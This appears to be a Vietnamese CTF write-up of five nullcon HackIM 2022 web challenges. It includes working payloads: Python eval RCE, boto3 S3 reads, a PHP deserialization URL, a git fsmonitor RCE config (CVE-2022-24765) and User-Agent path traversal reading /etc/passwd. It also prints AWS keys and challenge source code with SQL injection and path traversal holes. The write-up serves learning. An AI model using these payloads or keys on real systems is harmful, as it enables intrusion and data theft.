Skip to main content

Command Palette

Search for a command to run...

nullcon Goa HackIM CTF 2022 Writeup

Updated
8 min read
nullcon Goa HackIM CTF 2022 Writeup

Cloud 9*9

Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴

Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload {{7*7}} thì có nhảy ra exception:

Error xuất hiện khi call eval(event['input']) không hợp lệ

Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server

__import__('subprocess').getoutput('id')

Đến được đây chắc chắn mình sẽ đọc file lambda-function.py đầu tiên

import json

def lambda_handler(event, context):
    return { 
        'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ......
    }

Với lambda_handler ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng

Đọc thêm: S3 Object Lamda

Bây giờ ta sẽ xem hàm lambda_handler này có thể remote file được trên bucket nullcon-s3bucket-flag4 hay không

Sau một hồi research thì mình có để ý trên server có package boto3

Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định

Mình sẽ sử dụng hàm list_objects

__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')

Do function trả về dạng dict nên datetime không serialize được

Mình sẽ gọi thẳng file ra

Vậy payload:

__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key']

Oh shietzzz, gần ra flag rầu :pregnant_woman:

Đến đây đã có Keyflag4.txtBucketnullcon-s3bucket-flag4

Mình sẽ dùng hàm get_object để đọc nội dung file flag4.txt

Và response từ hàm get_object

Payload:

__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body']

Hmm streamingBody không serialize được :zany_face:

Sau khi stackoverflow thì mình cx solve được

Payload:

__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8')

UwU

Done flag là ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}

More than meets the eye

Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem

Thẻ image này có sử dụng bucket s3 để lưu các file static được access public

Ngoài thẻ svg ra t còn 2 file là .botodummy_credentials

# dummy_credentials
admin:5730df0sd8f4gsg
# .boto
[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A

Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu:

Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau:

aws sts get-caller-identity

Đọc thêm: How to Get your Account ID with AWS CLI

Tadaaa, đã lấy được thông tin mình chắc chắn flag là ENO{W0W_sO_M4ny_Pu8l1c_F1leS}

P/s: ban đầu mình còn tưởng nó là flag của Cloud 9*9 nhưng không phải 🥺

Jsonify

Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại

Source code:

<?php
ini_set('allow_url_fopen', false);
interface SecurSerializable
{
    public function __construct();
    public function __shutdown();
    public function __startup();
    public function __toString();
}

class Flag implements SecurSerializable
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function setFlag($flag)
    {
        $this->flag = $flag;
    }
    public function getFlag()
    {
        return $this->flag;
    }
    public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }
    public function getFlagFile()
    {
        return $this->flagfile;
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
    public function showFlag()
    {
        if ($this->isAllowedToSeeFlag) {
            echo "Theflagis:" . $this->flag;
        } else {
            echo "Theflagis:[You'renotallowedtoseeit!]";
        }
    }
}
function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

function secure_unjsonify($json, $allowed_classes)
{
    $data = json_decode($json, true);
    if (!in_array($data['class'], $allowed_classes)) {
        throw new Exception("ErrorProcessingRequest", 1);
    }
    $obj = new $data['class']();
    foreach ($data['properties'] as $key => $value) {
        $obj->$key = unserialize($value, ['allowed_classes' => false]);
    }
    $obj->__startup();
    return $obj;
}
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) {
    $f = secure_unjsonify($_GET['obj'], array(
        'Flag'
    ));
    echo $f;
    $f->setFlagFile($_GET['flagfile']);
    $f->readFlag();
    $f->showFlag();
} else if (isset($_GET['show'])) {
    $f = new Flag();
    $f->flagfile = "./flag.php";
    $f->readFlag();
    $f->showFlag();
} else {
    header("Content-Type:text/plain");
    echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php")));
}

Theo như flow thì mình phải truyền querystring show, obj, flagfile

Hàm secure_jsonify không được call trong code nhưng lại được define trong chương trình.

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$data khởi tạo 1 array/object mới

$data['class'] = get_class($obj) để lấy ra tên của class ở đây trả về Flag

$data['properties'] = array(); khởi tạo 1 array

Khi foreach $obj gọi đến __shutdown trả về array của $obj->properties và serialize lại giá trị truyền vào từ các property trên.

Bây giờ mình tạo 1 script php serialize để set cho flagfile thành ./flag.php

public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }

Nhưng args của function setFlagFile mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho $this->flagfile thành ./flag.php

Trong source có sử dụng 1 interface để khai báo các methods cho class

Những hàm được define này bắt buộc phải được call

Nếu chỉ define như này

Thì code sẽ báo lỗi do chưa implement các methods này

Trong hàm secure_unjsonify có gọi đến method __startup để readflag

Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên

Bây giờ để cal được hàm showFlag và in ra $this->flag từ class Flag

Chuyển giá trị của $this->isAllowedToSeeFlag thành true Xong bước bypass, sau đó mình cần thêm các properties cho class-serialize

Gen serialize:

<?php

class Flag
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
}

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as &$key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$obj = new Flag();
$obj->properties = ['isAllowedToSeeFlag', 'flagfile'];
$obj->isAllowedToSeeFlag = true;
$obj->flagfile = '/etc/passwd';
echo secure_jsonify($obj);

Đến đây ta chỉ cần truyền vào qs của obj để đọc file /etc/passwd

ERROR: File is not valid! do từ hàm setFlagFile truyền file không hợp lệ từ $_GET['flagfile'] (không quan tâm) ở dòng 97 ở trên

Lấy flag $obj->flagfile = './flag.php';

Payload:

http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu

Done flag là ENO{PHPwn_1337_hakkrz}

Git To the Core

Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL

Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git

Gần đây có một lỗi từ CVE-2022-24765 cho phép exec shell từ git config

Với fsmonitor là 1 tham số để ta có thể monitor được file system

Ta sẽ tạo 1 repo git và 1 file config như sau:

# .git/config
[core]
    fsmonitor = "echo \"$(id)\">&2; false"

Test trên local:

Forward port vào test thử:

Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu

Read file /FLAG là xong

[core]
    fsmonitor = "echo \"$(cat /FLAG)\">&2; false"

Done flag là ENO{G1T_1S_FUn_T0_H4cK}

i love browsers

Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng User-Agent để khai thác mình đã thử đục vào nó xem thế nào

Nhưng mình vẫn đéo khai thác được gì 😆

Vậy thì chờ khi hết giải mấy ông trong discord có hint

Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào

Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔

Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau

Mình thử đọc 1 file trên system bằng absolute path /etc/passwd

Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑

Done flag là ENO{Why,os.path,why?}

Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧

Source code server:

from flask import Flask, render_template
import sqlite3

import os
import re
from flask import Flask, request, redirect, url_for, g

app = Flask(__name__)
data_base_url = "/app/browserinfo/"
#data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/" 

DATABASE = 'database.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.route("/", methods=['GET', 'POST'])
def test():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    if ".." in ua2:
        return '<a href="https://xkcd.com/838/">This incident will be reported</a>'
    fn = os.path.join(data_base_url,ua2)
    try:
        f = open(fn)
        browserinfo = f.read()
        # app.logger.info(browserinfo)
        aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'")
        comments = []
        for bb in aa:
            comment = {"name":bb[2],"content":bb[3]}
            comments += comment,
            pass
    except Exception as ex:
        return "You are using an unsupported browser."


    return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments)

@app.route("/test", methods=['POST'])
def aaa():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    browser = ua2[0].lower()
    user = request.form['user']
    comment = request.form['comment']

    qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");'
    print(qstr)
    if len(user) > 20 or len(comment) >500:
        return redirect('/')

    try:
        c =  get_db().cursor() 
        print("cursor got")
        c.execute(qstr)
        get_db().commit() 
    except:
        print("An error has occured")
    return redirect('/')

if __name__ == "__main__":
    port = int(os.environ.get('PORT', 5000))
    app.run(debug=False, host='0.0.0.0', port=port)

:::success 🤕 Make KCSC Great Forever :::